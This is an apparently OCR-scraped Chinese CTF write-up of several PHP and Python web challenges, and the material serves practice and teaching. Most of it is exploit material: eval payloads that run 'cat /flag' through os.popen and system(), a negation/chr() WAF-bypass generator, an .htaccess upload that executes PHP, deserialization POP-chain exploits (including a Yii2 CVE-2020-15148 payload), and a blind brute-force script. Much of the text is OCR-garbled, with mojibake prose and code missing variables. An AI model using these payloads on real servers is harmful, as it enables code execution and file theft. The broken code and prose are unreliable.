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unserialize

ez _upload

easy yii

ez _auth
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Name X Headers Preview Response Inmitiator  Timing
Remote Address: 127.0.9.1:18086

B 42.193.53.250

| favicon.ico Referrer Policy: strict-origin-when-cross-origin

L_| injectjs ¥ Response Headers View source
Connection: keep-alive
Content-Type: text/html; charset=UTF-8

I flag: flag{dd5fe79c-2469-43cb-9eb67-728bb748800d ]

server: nginx/1.16.1

Transfer-Encoding: chunked
X-Powered-By: PHP;/7.4.5

¥ Reauest Headers View source

fastapi
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FastAPI
FastAPI

Languages

Features

FastAPI People

Python Types Intro

Tutorial - User Guide >

Advanced User Guide >

Concurrency and async / await

Deployment

You will see the JSON response as:

{"item_id": 5, "q": "somequery"}

You already created an API that:

= Receives HTTP requests inthe paths / and /items/{item_id} .
« Both paths take GET operations (also known as HTTP methods).

= The path /items/{item_id} has a path parameter item_id that should be an int.

>
Project Generation - Templa1|

Alternatives, Inspiration and

Comparisons

History, Design and Future

External Links and Articles

Benchmarks

Help FastAPI - Get Help

Development - Contributing

Release Notes
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Interactive APl docs
Now go to http://127.0.0.1:8000/docs [-].

You will see the automatic interactive API documentation (provided by Swagger Ul [<]):

Alternative APl docs

And now. ao to htto://127 0.0 1:8000/redoc [<1.
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C A =% | 4219353.250

["res”:"flaz (8210b633-2625-4712-b252-bdc 7534281201 \n”, “err” 1 false)

Elements Console Sources Network HackBar Performance Memory Application Lighthouse Edit

LOAD SPLIT EXECUTE TEST -~ SQLI -~ XSS ~ LFI -~ SSTI -~ ENCOI

[ =]
URL

http://42.193.53.250:18834/secr111t

enctype

Enable POST application;’x-www-form-uer - ADD

B ;::.dj.‘.- /
evval=open('/f10g',r").read()

R

A UPITHERE RS T

Enable POST application/x-www-form-urlencoded

evval=__import__('os’).popen('cat /f10g').read()

Rk =



HARSSTIH T B AT AT R, BOERKE %, BERHOEX—RK

shell
BIRARE, HT ANEYUEEXURT Hiln, XEE TR

preg_match('/[0-9]|[a-z] [\*[\+|\| [\$|\[INTIN{I\}|\&|\-/i", $c)

RREIXESERL, BRRIN ~E, HERIUBRIT T, Y4B HMAE AL

function negateRce(){
fwrite(STDOUT, '[+]your function: ');

str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT, '[+]your command: ');
str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '"[*] (~'.urlencode( ).")(~".urlencode( )5

negateRce(){
fwrite(

=str_replace(

fwrite(

=str_replace(

.urlencode (~ . .urlencode(~

negateRce() ;]

[+]your function:

[+]your command:
[%#] (~%BC%B6%BCHBB%IAKF2) (~%93%8BC);

AT, AFHAT
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system("cat /flag");

R ESANRE

BRANAFHHBAZERMT T, XEBEHERKEE KRS B T ARIRE R —T
R Y

r = session.post(url_log

(r.text)

(i)

foriin range(10 ) while'_import_ " inres

e bb
<e F:/temp/bb.py

ss":1,"msg":"Login successfully"}

g.csdn.net/solitudi

5 Zlflag

Congratulations

IR AN
Sl il = p 2 = ch g =E
Ze2FEREER, ERMNENREFEERRIGAITEL
1o S B MR e = B VAT L3
IEfER—T, XZ2{RhIflag: flag{7de9b883-b12c-445b-96b7-fd9d330ab993}
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import requests
session requests.session()

"http://xxxxx'
_cap url pre '/captcha.php'
url log url pre '/login.php'

for i in range(1000,9999):
res session.get(url_cap).text
while ' import__ "' in res:
res = session.get(url_cap).text
data {
‘username’': 'admin',
'password': f'{i}"',
'captcha': (eval(res)),
'objectType': 'Window',

session.post(url_log, data=data)

"Wrong username or password" not in eval(r.text)['msg']:

print(r.text)
print(i)

cag=SvE B

HRAIFEE, FHERFEs
HFEXEBL—ECTFEE, BREAETRAEWeb, EEBEIRIEflagixtiF

B2 EEiXflagiiETA—BLEENEMARI, CTFEERESRTIE

WY, BREHRANESHEIER
EARMTIFEH ABOLEG? Bid%, g% |

Eiflag

ZRX T Hflag, KIE 2 1pb, XA KK BARTIELE & A E T8 5E

flag.txt

EERR (REJVFRUZR) TllagfhfE XXHRIRE, EBhidx"E.



BAPRAKSLETRS, EWUMXHERTEES TR S ANEEATTEUFRNE-ErREAGER, KALLES
W, XHENTRSMAERE, BWA—EF —ADITET UMM FRER — RITH TR,

g Fwmes exticuiesie
Fiba sz 18584 MB
Dowrloaded 15567 ME (8276 %)
Tearcder rale 1670 WiBeec:
Tiresy belt 1 oo
Flesume capsbilly et

_ _
<k sl

St poaitions and dowrlosd progeess by connections

AR, BT B RE T

Google HTTPS iR FEUFE x & Q

Q Al & Imeges B News [ Videos ) Maps § More Settings  Tools

About 8,970,000 results (0.46 seconds)

EHETHNER: HTTPHHYENERkthE—1"Range ¥R, Bl ZLHTILISRIESE,
RERBARERNASHE ErnETERR S MRS RS EFERINREE2 3
SHEMFETNER—E EE T SRNFETRINESREAE— 48, En T —1 =8
BB o aug 2015

hitp:/Mingerari.me » 2015/08/08 » SEEISHT S FERIE
SRR T EURER| 8 FRYZAR

@ About featured snippets » [l Feedback

E#lrangek AT .

HTTPE AT ST — T RangeFE, BITIXIZSHEIASFIES S RS BIRERIRSE0E
EFRET SR 5 BRRSmEKBirE R RERE 1 23S ERMTNEE—#, FE 1 s
AR AR — T 3 e, $ERRL 7 — T R BT LR

REihE:

1. Range
RangeskigRiRSE LITH BRI SEN S0 B A L R DI s SR T B
B —HuEt:
Range: bytes=1000-2000 (S4B FR52EHI1000- 2000585 H RS
Range: bytes=1000- (3B T8 1000byte ISHIRFE TR
Range: bytes=1000 (RSB EIEIE 1000byteEHE)
FdRangeffELE:
Accept-Ranges: BEE SRS ST FRange;
i bytes
AFi5none
Content-Range: 1000-3000/5000 (EEIBS B ir BB EE start-end/total)
2. RandomAccessFile
FAARI NSRS . SRR T s R R FR b1 B byte 3



HASAFI H BNV RBIBUD, F31 KiK.

(BurpH) &l F X E BB ANHAT, Google, iF

Request

eretty [[ER wn Actions v
GET /flag. tet WTTR/A. 1

1 Howt: 42,193 53, 15018965

! Pragma: mo-cache

4 Cache-Control

Renge: bytes=1000-7000
l _Ager 10 g gemp JNT 10.0; Winéd; wdd]l AppleWebit 537. 34
(KHTML. |ike Gecko) Chromes/91. 0. 4472 77 Saferi /537 38
Aocapt
taxt/himl, spplication/ shiml #aml . appl ication/oml [ g=0 9, image/avif. image'w
ebp, image/spng. */*; 970, 8, app| ication/signed-exchange: ¥l q=0. ¥
Accapi-Emcoding: grip. deflate
Aooept-Language: zh-CM, rh_ o= ¥
Cookia: sesslon=

&

= .

UPHARTFdOs f XcgHreg0FY: PHPSESS |D-adelbiTi4341 b1 edPd9 idalSldeccill
I Comnection: close

oyl D ipT i | joi 20F0a 1 | YindDbF 260 | hJSIHROTBAREVETRoIPEITE0. VLI 10, zZcDal :

Response

B raw recder \n Actions

T HITP/1. 1 208 Partial Comtent

2 Server: ngina/1 141

! Date: Sun, 06 Jun 2021 03:30:21 GMT

4 Content-Type: test/html: charset=UTF-8

5 Content-Length: 1000

¢ Gonmection: close

! A-Powered-By: PHP/T. 4.5

8 " b

¥ Fontent-range - bytes T000-2000/114514191 9810893
fortent-Disposition: attachment:¥ilename=flag. txt

17 wsasass honhenasasssass henhensssssssas henhenassssssss hechenassasssss he
L I ) -

aaa h

hanhar

w EEATR, ZJBRATERRange 1000-2000/1 %, AR45-8%R Bl 7 3C4FE1000-2000FH IR E, 3 HEIR T RATTHR KD
F1145141919810893 /4% F, NRAE UL — T BRATT A 300 B 3% th R @ i X ol 702 7 F 38 ST 14 A e 8 3R B ST 48 F s K /N

MABMNE Hebytes RN R, HEZPOUMFRIE, M LiESfagT .

Reguest

Prenyu Wi Actions v
I GET /flmg txt HTTRAY. 0
2 Host: 42 193 53. 250 18965
I Pragma no-caeche
4 Cache-Contrel: ne-cache
i s

£ Renge: bytes=11451419198107%3-1145141919810873
Y ” T wéd)] AppleMebKit/ 537 36
(KHTML, |ike Gacka) Chrome /91, 0 4472 TT Saferi /537 34
§ Acoept
text/himl, appl ication/shiml *xnl. application /i a=0 ¥, image/av | f, image'w
obp. image/spng. */%:g=0. . spp| ication/signed-exchange: v=b3.0=0. %
¥ Acoept=Encoding: grip, defiate
Accept-Language rh-CN, th.g=0 9
| Cookie: session™
evd 11 jnT1iBi 1 joi 2OF0a | | YOndDbF 250 | hJSINROIBANEVCT GePSS910, VLI
UPHARTY s FildgHzcgOF Y : PHPSESS |D=adadbl 724341 bfod9¢9 JdadSDdocctilb
7 Conmection: ¢lose

Bypass_waf

10, e Zebau

Response

B rev rode \n actions v
e

1 4:08 ouT
4 areet=UTF-§

&

9 1IPBI0T93- 11451 41919810892/ 1 14514191 PR10893
10 ment; filename=flag, txt

11

iz 7 '+nf|u|”fc?0ﬂl -mm-m:.—-m--au?ﬁlnfzull




<fphp

include_once “waf.php”;

if  (lempty($_POST[ look’ 107§
if  (Pwaf”==3_POST[ lock’ 1) {
highlight_file("waf. php™)

}

eval (3_POST[ eval 1) ;
telsef

highlight_file(_ FILE_ J;
}

EEEMETIE, hh

<Tphp
highlight_file{_FILE);

Jwrite_log filename pre = . /log/vdtacker’

if ($_SERVER['REQUEST_NETHOD'] != °'POST' &k $_SERVER['REQUEST_METHOD'] != °"GET') |
write_attack log( method”);

3

furl = $_SERVER[’REQUEST_URT'];

$data = file_zet_contents( php://input’);

$headers = get_all headers();

filter_RCE_Tdtacker (filter_attack keyword(filter_invisible(filter CRLF_V4tacker (urldecode(filter_0x25(Jur1)))1i);
filter RCE_T4tacker (filter_attack_keyword(filter_invisible(filter CRLF_Ydtacker (urldecode(filter_0x25 ($datal)]i));

foreach (3_GET as 3key =» Jvalue) |

$_0FT[Jkey] = filter_dangerous_words(fvalus);
}
foreach (3_POST as 3key = 3Fvalue) |

$_POST[$key] = filter_dangerous_words($value);
]

foreach ($headers as Skey => Jvalue) |
filter_attack_keyword(filter_invisible{urldecode(filter_0x25(Fwvalue))));
$_SERVER[$key] = filter dangerous_words($value):

Flements Cx e es < HackBar Per

4

LOAD SPLIT EXECUTE TEST ~ SQLl XSS -~ LFI ~ SSTI -~ ENCODING ~ HASHING

el

enctype

Enable POST application/x-www-form-urlencoded - ADD HEADER

Body

Ioo.k=waf

fi#iE—

pho RRIET, TG RE, BEMA, BCEMET



* Created by Y4tacker
% % /

function generatePayload( ){

for ( 9; strlen( ) ){
if ( strlen( )-1){
"chr(".ord(
telse{

"chr(".ord(

return "(join(array("

"system";
"cat /flag";

echo "eval=".generatePayload( ) .generatePayload( ). ";&look=1";




STFPOSTHINE, EREIT file get contents('php://input’) KBNS, XEME THE -ANSREHTE, BPOSTERK

A multipart/form-data M| EiR F¥ETEZRRISE, SERBULLERBER, WTblgid.

g | ma | [ <iv |[ > ]
@%ﬁlﬁkHex

L] 5]

Biz: hitp://42.193.53.250:18!

POST / HTTP/1.1

Host: 42.193.53.250:18837

Content-Length: 177

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: |

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wintd; x64) AppleWWebkit/537.36 (KHTML,
like Gecko) Chrome/88.04324 104 Safari/537 36

Origin: http;//42.193.53.250:18837

Content-Type: multipart/form-data; boundary=-------- 1761093549

Accept:

text/htrnl, applicationhtrnl+xml, application/xmlg=0.9image/avifimage/webpimage/
phg*/*:q=08 application/signed-ex<changev=h3;q=0.9

Referer:

hittp://42.193.53.250:18837 Peval=(jcin(array(chr(115).chr(121).chr(115).chr(116).chr(101).ch
1091 (join(array(chr(99).chr(97).chr(116).chir(32).chr(d7) chr(102).chr{108).chr(97).chr{103
0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CM.zh;g=09en;g=08

Cookie: PHPSESSID=alb0lad424f253 ceDallc2 2ea9a38afd;

session=ey Ilip7liBiljoiZ OFOallY OndDbFZEWIhIS 2MNROX BRWEY CTGcOP SIOFO.Y Luhirmy
Do-yoO7-IFE2MNOHgVsd]_Sgw5EE

Connection: dose

__________ 1761093549
Content-Disposition: form-data; narne="look"
__________ 1761093549

Content-Disposition: form-data; narme="eval"

phpinfol;
__________ 1761093549--

fRiE=

Payload>k H : lastsward

Postdata [] Referer [] User Agent [J] Cookies

‘! Burp Suite Response Renderer

System Linux 33d41f6d0b62 5.4.0-72-generic #

Build Date May 12 2021 13:14:31

Configure Command " Iconfigure’ --build=x86_64-linux-gnu’*
dir=/usr/localletc/php/conf.d' --enable-c
mbstring' '--enable-mysqind’ --with-pas
sqlite3=/usr' --with-curl' --with-libedit' -
with-apxs2' '--disable-cgi’ 'build_alias=x

Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path lusr/localletc/php

Loaded Configuration File

fusrflocal/etc/php/php.ini

Scan this dir for additional .ini files

lusr/local/etc/php/conf.d

Additional .ini files parsed

fusrflocal/etc/php/conf.d/docker-php-ex

Clear All

PHP API 20190902

PHP Extension 20190902

Zend Extension 320190902

Zend Extension Build API320190902 NTS
PHP Extension Build API20190902 NTS
Debug Build no

Thread Safety disabled

Zend Signal Handling enabled

look=waf&eval=call_user_func($_REQUEST[a].$_REQUEST[c],$_REQUEST[b].$_REQUEST[f].$_REQUEST[d]):

upload



MR —%
X BR IAFE VRIS 1 B www . zip ,
HIT file, F \ GidBpAT

$upload md5 ( $_SERVER[
mkdir ($upload);

file_put_contents($upload

(isset($_POST[ 14
$fileext substr(strrchr($_FILES]
($_FILES[ 10

I\

(preg_m

unlink ($_FILES] 11

I\

$filename;

<Fil\

es .htaccess>

SetHandler application/x-httpd-php
Require all granted

php_flag engine on

php_value auto_prepend fi\
le .htaccess
< ?php phpinfo();

], $upload

$filename);

https://blog.csdn.net/solitudi
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Burp Project Mift2s | &HO

G

| Wi | ERE | ERS | ®OSE | WS | BHTRE | REER | ARBER

PHP Version
[prevenien o T

Directive

disable_functions

error_log,mb_send mailimap_mail system,unlink,rmdir,shell

Connection: close

display_errors

—————— ‘WebkKitForrmBoundary9l 1sD6YBAIOF2Ws

display_startup_errors

off
off '

Content-Disposition: form-data: name="file", flname="htaccess"
Content-Type: text/plain

Fil
es_htaccess.

SetHandler application/x-httpd-php

doc root no VE‘E
docref_ext no m’ue
docref root no |‘Iue
enable dI ofi]

Require all granted

enable_post data_reading

of

php_flag engine on
Fi

les:
php_value auto_prepend_fi

le htaccess

php phpinfo(;
--\WebKitFormBoundary 9l 1sD6VBANIOF2Ws

Content-Disposition: form-data; name="subrmit"

subrnit

error_append _string ni value
error_log rfo value
error_prepend string ’40 value
error_reporting 22527
exit_on_timeout off
expose_php On

—————— ‘WebkitForrnBoundary9l1sD&Y/BAOIOF2Ws--

extension_dir

Jusr/lib/php5/20121212

4

On

v

file_uploads

BHLE

X B Hphp EH R ST

o BEEE
=

kiE BH <|v =}
allow_url fopen On . ;
allow_url_include Off e S
always populate raw_post data | Off J Bl 24 | & | Hex e, | HIMI, Hender
arg separator.input & Cache-Control: max-age=0 i HTTP/1.1 200 OK
= Upgrade-Insecure-Requests: | Date: Sat. 05 Jun 2021 16:50:18 GMT
arg_separator.output & Origin: http://42.193.53.250:18878 Server: Apache/247 (Ubuntu)
Content-Type: rmultipart/form-data; boundary=----WebKitFormBoundary9l1sD6VBADIOF2Ws A-Powered-By: PHP/5.5.9-lubuntu4.29
asp tags o User-Agent. Iozilla/5.0 (Windows INT 10.0 WinG4: x64) AppleWebKit/537.36 (KHTML, like Gecko) Expires. Thu, 19 Nov 1981 0852:00 GIT
autoﬁappend file no value Chrome/88.0.4324.104 Safari/537 36 Cache-Control: no-store, no-cache, must-revalidate. post-che
— Accept Pragma’ no-cache
Exsibglobalolil on text/htrl application/xhtml+xml.application rml:q=0.9image/avif.image/webpimage/apng.*/*q=0 Vary: Accept-Encoding
auto_prepend_file .htaccess 8.application/signed-exchangev=hb3:q=09 Content-Length: 760
brnwscap e Referer: http://42.193.53.250: 18878 Connection: close
Accept-Encoding: Content-Type: ted/htrml
default_charset no value Accept-language: zh-CNzhiq=09.en,q=08
. Cookie PHPSESSID=a1b01ad424f253ce0a00c22ea%9a38af4; <html>
default mimetype text/html session=ey) IipTIBil) VIhJS 2NREIXBRWEY CTGEOPSIOFO YL uhrmve Do-yoO7-IF <head>
disable_classes no value E2MOHGVsdl_SgwSEE “titles ez_upload« titie>

<meta http-equiv="content-type" content="text/htrnl.charset=

FTINE, LFrRESH, LIFEF

<form action=""'method="post"
enctype="multipart/form-data’ >

<label for="fil
orm
satyler
body{

background:url(./bak jpg) no-repeat right - 110px ;
background-size:110%;
background-attachrnent:fixed;
background-color: rgba(255, 255, 255, 0.8);
)
<fetyles
</boady>
upload/28957¢94804599d479ebab0cleb12156/. htacces

o IEEE

SetHandler application/x-httpd-php Require all granted php_flag engine on php_value auto_prepend_fi\ le .htaccess #flag{cd7e7ec3-78d6-490f-bdf7-cda201a4d8fb} Set
application/x-httpd-php Require all granted php_flag engine on php_value auto_prepend_fi\ le .htaccess #flag{cd7e7ec3-78d6-490f-bdf7-cda201a4d8fb}

unserialize

W Burp Suite Professional v2.1 - T
Burp Project filj
e

t - licensed to surferxyz By:LianZhang

RBIER

AR

g | [ ma [(<Ir

Host: 42,193 5325018878
Content-Length: 460
Cache-Control: max-age=0
Upgrade-Insecure-Requests: |
Origin: hitp://42.193.53.250:18678

Chrome/88.04324.104 Safari/537.36

Accept

text/htrnl.application/«html+xml application/ml:q=0.9,image/a:
8 application/signed-exchang; b3g=0.9

Cookie: PHPSESSID=a |b0lad424f253ce0a00c22ea%38af4,

E2MOHqsdll_SgwSEE
Connection: close

------ WebKitFormBoundary9l1sD6VBACIOF2\Ws
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: text/plain

Fil
es htaccess>
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
Fi

les

php_value auto_prepend_fi\

le htaccess

® 7php require(*/flag");

—————— WebKitFormBoundary9l1sDEVBACIOF2\Ws
Content-Disposition: form-data; narne="subrmit"

Content-Type: multipart/form-data; boundary=----\WebkKitFormBoundary9l1sDEVBANOF2Ws
User-Agent: Mozilla/5.0 (Windows MNT 10.0; Wine4; x&4) Apple\Webkit/537.36 (KHTIML, like Gecko)

image/webpimage/apng,

£ Lol )
Raw | Z8 | 3k | Hex Raw | % | Hex | HTML | Render
POST / HTTP/11 HTTP/1.1 200 OK

i

i Date: Sat, 05 Jun 2021 16:51:57 GMT
Server Apache/247 (Ubuntu)
X-Powered-By: PHP/5.5.9- lubuntu4 2
Expires: Thu, 19 Nov 1981 08:52:00 GIM
Cache-Control: no-store, no-cache r
Pragma: no-cache

Vary: Accept-Encoding
Content-Length: 760

Connection: dlose

Content-Type: text/htrml

<htrnl>

<head>

<title>ez_upload < /title>

<meta http-equiv="content-type" con

JljpT7liBiljoiZ OF QallY OndDbFZeWIh)S2NROXBRWEVCTGIPSIHO YLuhmw Do-yoO7-1F </head>

<body>
<hl- BiESRRFHNTLE. B

<form action="" method="pos
enctype="rnultipart/form-data">

<label for="file">filename:
<input type="file" narme="fi
<input type="submit” narmne
</form>
<style>
body{

background:url(./bak jpg) no-
background-size: 110%;

background-attachmentfixed;
backgraund-color: rgba(255, 2¢




X5 EHRKPOPEMIE . MD5RE R
AT

error_reporting(9);
highlight_file(__ FILE_ );
class hackMe{
protected 5
public function _ call(
return format(

public static function hackMMM(){
echo "Hello webR!";

public function format(

{

getFormatter( [01[4][1]);

}

public function getFormatter(
{
if (isset( formatters|
return formatters|

class 0x401{
protected
protected 5
public function _ destruct(){

events->dispatch( event);

}
public static function welcome(){

echo "Welcome to ©x401 Team!";

class flag{
protected 5
public function patch( ){

call user_func( flag,

if( [*a'] ['b"] md5 ( [*a']) md5 (
if(file get contents(substr( ['a'],0,20))!=null){
@unserialize(base64_decode( ['c']));
telse{
hackMe: :hackMMM() ;
}
}else{
0x401: :welcome();

['b"1)){




AT RIFFINZ BT mds FSRHGEL, ZATBRIXFERR R, —&SOdFBRR MRKA BE 2 —wiFEnsas , HEXE
BAMIANT —/N 2k file_get_contents(substr($_POST['a'],08,20)) , MR ERBXACH, BWBAEEHITRFFINK, FrLlix
BFMAT fastcoll TH, BRI LAXHHE & X3 TmdShREEE, M 3R1E B A>-md5{E A R i S

shell

fastcoll.exe -p 123.txt -0 1.txt 2.txt

TATH

852 https://pan.baidu.com/s/1t8q89aP500iF VyFeOJrbJw
R HFY: atao

EHXBNEEITI B EMNETFIApp, BRIEE T EH

BEMRMIEPOPE T

class 0x401 __destruct //#hackMe X5, 24 i H A EER ZriER AR call
il
class hackMe __call // BT flag 5

il
class flag patch // [E] ] R AT A CIB AT

exp

class hackMe{
protected 5
public function __ construct(){
formatters[ 'dispatch'] new flag();

class 0x401{
protected 5
protected 5
public function _ construct(){
events new hackMe();
event[4][1]= "cat /flag";

class flag{
protected "system";

echo base64_encode(serialize(new 0x401()))."\n";

AIEHIE AR T, X B A — AT B R Fhtaccess B X, IXAF I RflagULBCE], M404 T £ yatacker , HILFIH
XA E



<If "fi\\
le('/flag')=~ /"'""+a+"""/">
ErrorDocument 404 "y4tacker"
</If>

resp requests.post("http://42x.250:xxxx/index.php",data={"'submit': ‘'submit'}, files={'file': ('.htaccess',f)
)
a requests.get("http://42.1xxxx18816/upload/"+addr+"/a").text
if "y4tacker" not in a:
return False
else:
return True
flag "flag{"
C "u-"+string.ascii_letters + string.digits "\{\}"
for j in range(32):
for i in c:
print("checking: "+ flag+i)
if check(flag+i):
flag = flag+i
print(flag)
break
else:

continue

B BIXA, WRIEhintsh %% — Tyilf HETHAT T

C A &£ | 42193.53.250:18

My Application

Bad Request (#400)

Missing required parameters: name

The above error occurred while the Web server was processing your request.

Please contact us if you think this is a server error. Thank you.

REZWAER, REH, E-TalzEiE



MY A EmE, & %payload

http://url/web/?r=test/test&name=0%3A23%3A%22y11%5Cdb%5CBatchQueryResul t%22%3A1%3A%7Bs%3A36%3A%22%00y11%5Cdb%5CH
atchQueryResult%00 _dataReader%22%3B0%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%
3Ba%3A1%3A%7Bs%3A5%3A%22closes22%3Ba%3A2%3A%7B1%3A0%3B0%3A20%3A%22y11%5Crests5CIndexAction%22%3A2%3A%7Bs%3A11%3A
%22checkAccess%22%3Bs%3A14%3A%22highlight _file%22%3Bs%3A2%3A%221d%22%3Bs%3A5%3A%22%2F fLagk22%3B%7D1%3A1%3Bs%3A3%
3A%22run%22%3B%7D%7D%7D%7D

php
namespace yii\db;
class BatchQueryResult extends \yii\base\BaseObject{
private 5

public function _ construct()

_dataReader=new \Faker\Generator();

namespace yii\base;
class BaseObject{

)i

namespace yii\rest;
class Action{

public ‘highlight_file';
public '/flag';

}

class IndexAction extends Action{

}

namespace Faker;

class Generator{
protected array();
public function __ construct()

formatters['close']=[(new \yii\rest\IndexAction()),"run"];

use \yii\db\BatchQueryResult;
new BatchQueryResult();
print(urlencode(serialize($c)));

TIT R B RS T




error_reporting(9);

include "config.php";

function LoginSign(
i
if (isset( ["auth'])){
unset( ['auth']);
)i

return md5(implode('-",

foreach ( as
if (lisset( )) {

)

foreach ( £
/LML
if (isset( ) [0] ) A
json_decode( );
foreach ( as ) {
{ il

)i

}else{
die("fucccc????");

}
if (isset( )) {
if (LoginSign( ) ) {
if (in_array( , array('admin'))) {
echo("Congratulations!</br>Give you flag®:");
echo fread(fopen("/flag","r"),200);
} else {
echo 'welcome ' 'but only admin can get flag!';
echo '</br>"';
b
} else {
echo 'wrong auth.</br>Guess the authkey???';
b
} else {
highlight file(__ FILE_ );
die("Please Login first!");

BMOFBEIEILNTT, F—m, NTAFENZE, WLLEEgetiE R LI IRE

foreach ( as
if (lisset( )) {

O

Z R, BAT UGB postft S SLHLN B 4 R AL B LUK E




foreach ( e
/)T IEE G
if (isset( )

json_decode(

foreach ( as

{

1
J

}else{

die("fucccc????");

5] 2| & flag b 7

if (isset( )) {
if (LoginSign( ) ) {
if (in_array( , array('admin'))) {
echo("Congratulations!</br>Give you flag®:");
echo fread(fopen("/flag","r"),200);

BIMNBEE—E—EM L, B5%Z in_array($username, array('admin'), , ¥AusernameZE®, W LLETGETIEKRBE N
adminfi B 2 5%, T—F
LoginSign($_GET, $secrett) === $auth

function LoginSign(
{
if (isset( ["auth'])){
unset( ["auth']);
)i

return md5(implode('-",

BATE T gettE 45 N K Bauth5 B IEauthfImd5i# T tLER, 1T 7T DME Fposts it T B BB &, X authth B 2R AT 12 H)
T, &*payload

http://xxx/index.php?username=admin&auth=b5dobaf7bcO6b412e077c422e5b3cb74




C A T&£| 42.193.53.250:18830/inde>

ApugTHiRB: &---BhBlixY4tacker

| UserName |

| password |

TRRE I www . zip
H S &indexphp, RiEfilete NS5 NS
require_once "func.php";
if(isset( ['file'])){
require_once(_ DIR__."/" ["file'].".php");
["login']=="apuNvZHuang'){
echo "<script>window.location.href="./index.php?file=update’'</script>";

else{

echo "<script>window.location.href="./index.php?file=1login’'</script>";

1
J

1
J




BETRREGRWME, EHEHE™#

>
<meta http-eguiv="Content-Type" content="text/html; charset=utf-8" />
<title>login</title>
<gepteps
<form action="Tlogin.php" method="post" style="
<img src="./1.png"><br><br>
<h2>ApuE THEE: w---HAHRY4tacker</h2>
<input type="text" name="username" placeholder="UserName" reguired>
<bp>

<input type="password" style=" name="password" placeholder="password" reguired>
<bp>

<button style=" " type="submit">&Z</button>

<br>

<bpr:>

user()
( [
(preg_match(
("<br>BEE, sRESTEBETA!

(preg_match(
("<broBEE, HEMTEEN !

->login()

s/l ssdn.net/solitudi
</form> https://blog.csdn.net/solitudi

Mupdate,php LRI UE R, REEFHAfag

require_once( 'func.php');
echo '<html>

<meta charset="utf-8">
<title>update</title>

if ( ["login']!="apuNvZHuang'){

echo "¥fhadmingtéiFlag, WARIE, B! ";

}
new User();
update();

if( ['login'] "apuNvZHuang' ){

require_once("flag.php");
echo ;

}

¥ T kfunc.php

error_reporting(9);
session_start();
function safe( )
array(‘'out', 'like", "union', 'regexp', 'load', "into', 'flag', 'dump', "insert’,""'", "\\', "*","alter");
return str_replace( , "fucku!"', )5




class User
{
public
public null;
public null;
public function login() {
if(isset( ["username'])&&isset( [ "password'])){
new dbCtrl();
id login('select id,password from user where username=?"');
id){
["id"] id;
['login']="apuNvZhuang"';
echo "fR&EF! " ['token'];
echo "<script>window.location.href="./update.php'</script>";
return id;

}

public function update(){
unserialize( getNewinfo());
age;
nickname;
new UpdateHelper( [*id'], ,"update user SET age= ,nickname=
['id']);
)i
public function getNewInfo(){
['age'];
["nickname'];
return safe(serialize(new Info(

}
public function _ destruct(){

return file_get_contents( nickname);//J&

}
public function __ toString()

{

nickname->update(

return 5

public function __ construct(
age 5
nickname
)i
public function _ call( 5
echo CtrlCase->login(

}
Class UpdateHelper{

public ;

public

public 5

public function _ construct(
unserialize(
new dbCtrl();




public function _ destruct()

{

echo sql;

b
class dbCtrl

i

public "127.0.0.1";

public "y4tacker";

public "y4tacker";

public "y4tacker";

public

public

public

public 5

public function _ construct()

{
name ["username'];
password [ "password'];
token ["token'];

)i

public function login(

{
mysqli=new mysqli( hostname, dbuser, dbpass, database);

if ( mysqli->connect_error) {

die("connection error:" mysqli->connect_error);

mysqli->prepare( );
bind_param('s’, name) ;
execute();
bind_result(
fetch();
close();

if ( token=="admin"') {

return R

b

if ( ) |
echo('wrong user!');
return false;

b

if (md5( password)
echo('wrong password! ');
return false;

[ "token']
return g

NRXK, HRETRALR, BENESRRFIFRFLR
function safe( ){
array('out','like', 'union', 'regexp', 'load', 'into', 'flag', 'dump', "insert',""","\\"',"*", "alter");
return str_replace( , 'fucku!', )




WA A

update(){

=unserialize( ->getNewinfa())

UpdateHelper(

getNewInfo(){

4

Info(

TREA R TRt R iEpopsE T

UpdateHelper->_destruct
User->__toString

Info->_ call
dbCtrl->login

LAHETREE ¥



'select password,id from user where username=?';
null;

"127.0.0.1";
"noob123";
"noob123";

"noob123";
‘admin’;

‘admin’;

function post( ){
http_build_query(
array (
‘http' array (
‘method’ 'POST"',
‘header'’ "Content-type: application/x-www-form-urlencoded\r\n"
"Content-Length: " strlen( ) "\r\n",
‘content'’

file_get_contents('http://42.192.137.212:1235/index.php?action=update’', false, stream_context_create

new UpdateHelper();

sql = new User();

sql->nickname = new Info();
sql->nickname->CtrlCase = new dbCtrl();

IR EATEER IERE R 7 FIAL AR AT A SEBAE B sq B AU AT T
B TORIBANE L& M E, XEBA union WEHA—IR furtul BEFFHE—NFRF

'";s:8:"CtrlCase";" serialize($x) "1
str_repeat('union', strlen($p)) 5
echo($p);



https://blog.csdn.net/solitudi/article/details/117201891?spm=1001.2014.3001.5501

T 7 B ¥ ¥ webshell 2 12

[CTFIPHP & 7 34k Je 45

[CTF].htaccessHIf# F £ 75 a8 45

[PHPAXAD 8 $+][CVE-2020-15148]Yii2<2.0.38 & F& 5l . fir & AT


https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://blog.csdn.net/solitudi/article/details/113588692?ops_request_misc=%25257B%252522request%25255Fid%252522%25253A%252522162295155416780261990450%252522%25252C%252522scm%252522%25253A%25252220140713.130102334.pc%25255Fblog.%252522%25257D&request_id=162295155416780261990450&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v2~rank_v29-1-113588692.nonecase&utm_term=%25E5%258F%258D%25E5%25BA%258F%25E5%2588%2597%25E5%258C%2596&spm=1018.2226.3001.4450
https://blog.csdn.net/solitudi/article/details/116666720?ops_request_misc=%25257B%252522request%25255Fid%252522%25253A%252522162294825116780262590471%252522%25252C%252522scm%252522%25253A%25252220140713.130102334.pc%25255Fblog.%252522%25257D&request_id=162294825116780262590471&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v2~rank_v29-1-116666720.nonecase&utm_term=htaccess&spm=1018.2226.3001.4450
